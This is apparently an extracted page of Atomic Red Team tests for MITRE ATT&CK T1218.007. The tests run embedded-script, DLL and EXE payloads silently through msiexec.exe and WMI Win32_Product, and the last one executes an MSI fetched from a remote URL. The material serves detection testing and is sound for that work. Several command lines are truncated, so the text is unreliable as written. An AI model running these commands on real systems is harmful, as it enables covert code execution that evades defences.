







- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

Atomic Test #1 - Msiexec.exe - Execute Local MSI file with embedded JScript

Executes an MSI containing embedded JScript code using msiexec.exe

Supported Platforms: Windows

auto_generated_guid: a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe
action	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.	String	i

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /q /#{action} "#{msi_payload}"
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #2 - Msiexec.exe - Execute Local MSI file with embedded VBScript

Executes an MSI containing embedded VBScript code using msiexec.exe

Supported Platforms: Windows

auto_generated_guid: 8d73c7b0-c2b1-4ac1-881a-4aa644f76064

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe
action	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.	String	i

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /q /#{action} "#{msi_payload}"
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #3 - Msiexec.exe - Execute Local MSI file with an embedded DLL

Executes an MSI containing an embedded DLL using msiexec.exe

Supported Platforms: Windows

auto_generated_guid: 628fa796-76c5-44c3-93aa-b9d8214fd568

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe

action	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.	String	i
--------	---	--------	---

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /q /#{action} "#{msi_payload}"
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #4 - Msiexec.exe - Execute Local MSI file with an embedded EXE

Executes an MSI containing an embedded EXE using msiexec.exe

Supported Platforms: Windows

auto_generated_guid: ed3fa08a-ca18-4009-973e-03d13014d0e8

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe
action	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included	String	i

	MSI is designed to support all three action types.		
--	--	--	--

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /q /#{action} "#{msi_payload}"
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #5 - WMI Win32_Product Class - Execute Local MSI file with embedded JScript

Executes an MSI containing embedded JScript code using the WMI Win32_Product class

Supported Platforms: Windows

auto_generated_guid: 882082f0-27c6-4eec-a43c-9aa80bccdb30

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007
action	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.	String	Install

Attack Commands: Run with `powershell` !

```
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Argumen
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location ({msi_payload})

Check Prereq Commands:

```
if (Test-Path {msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #6 - WMI Win32_Product Class - Execute Local MSI file with embedded VBScript

Executes an MSI containing embedded VBScript code using the WMI Win32_Product class

Supported Platforms: Windows

auto_generated_guid: cf470d9a-58e7-43e5-b0d2-805dff05576

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007
action	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.	String	Install

Attack Commands: Run with powershell !

```
Invoke-CimMethod -ClassName Win32_Product -MethodName {action} -Argument
```

Dependencies: Run with powershell !

Description: The MSI file must exist on disk at specified location ({msi_payload})

Check Prereq Commands:

```
if (Test-Path {msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #7 - WMI Win32_Product Class - Execute Local MSI file with an embedded DLL

Executes an MSI containing an embedded DLL using the WMI Win32_Product class

Supported Platforms: Windows

auto_generated_guid: 32eb3861-30da-4993-897a-42737152f5f8

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007
action	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.	String	Install

Attack Commands: Run with powershell!

```
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Argumen
```

Dependencies: Run with powershell!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #8 - WMI Win32_Product Class - Execute Local MSI file with an embedded EXE

Executes an MSI containing an embedded EXE using the WMI Win32_Product class

Supported Platforms: Windows

auto_generated_guid: 55080eb0-49ae-4f55-a440-4167b7974f79

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007
action	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.	String	Install

Attack Commands: Run with powershell !

```
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Argument
```

Dependencies: Run with powershell !

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #9 - Msiexec.exe - Execute the DllRegisterServer function of a DLL

Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "src" folder is only built for 64-bit, so this won't work on a 32-bit OS.

Supported Platforms: Windows

auto_generated_guid: 0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d

Inputs:

Name	Description	Type	Default Value
dll_payload	DLL to execute that has an implemented DllRegisterServer function	Path	PathToAtomicsFolder\T1218.007\src\MSIRur
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /y "#{dll_payload}"
```

Dependencies: Run with `powershell` !

Description: The DLL must exist on disk at specified location (#{dll_payload})

Check Prereq Commands:

```
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #10 - Msiexec.exe - Execute the DllUnregisterServer function of a DLL

Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "src" folder is only built for 64-bit, so this won't work on a 32-bit OS.

Supported Platforms: Windows

auto_generated_guid: ab09ec85-4955-4f9c-b8e0-6851baf4d47f

Inputs:

Name	Description	Type	Default Value
dll_payload	DLL to execute that has an implemented DllUnregisterServer function	Path	PathToAtomicsFolder\T1218.007\src\MSIF
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /z "#{dll_payload}"
```

Dependencies: Run with `powershell` !

Description: The DLL must exist on disk at specified location (#{dll_payload})

Check Prereq Commands:

```
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

Atomic Test #11 - Msiexec.exe - Execute Remote MSI file

Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.

Supported Platforms: Windows

auto_generated_guid: 44a4bedf-ffe3-452e-bee4-6925ab125662

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	String	https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/T1218.007.ps1
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /q /i "#{msi_payload}"
```

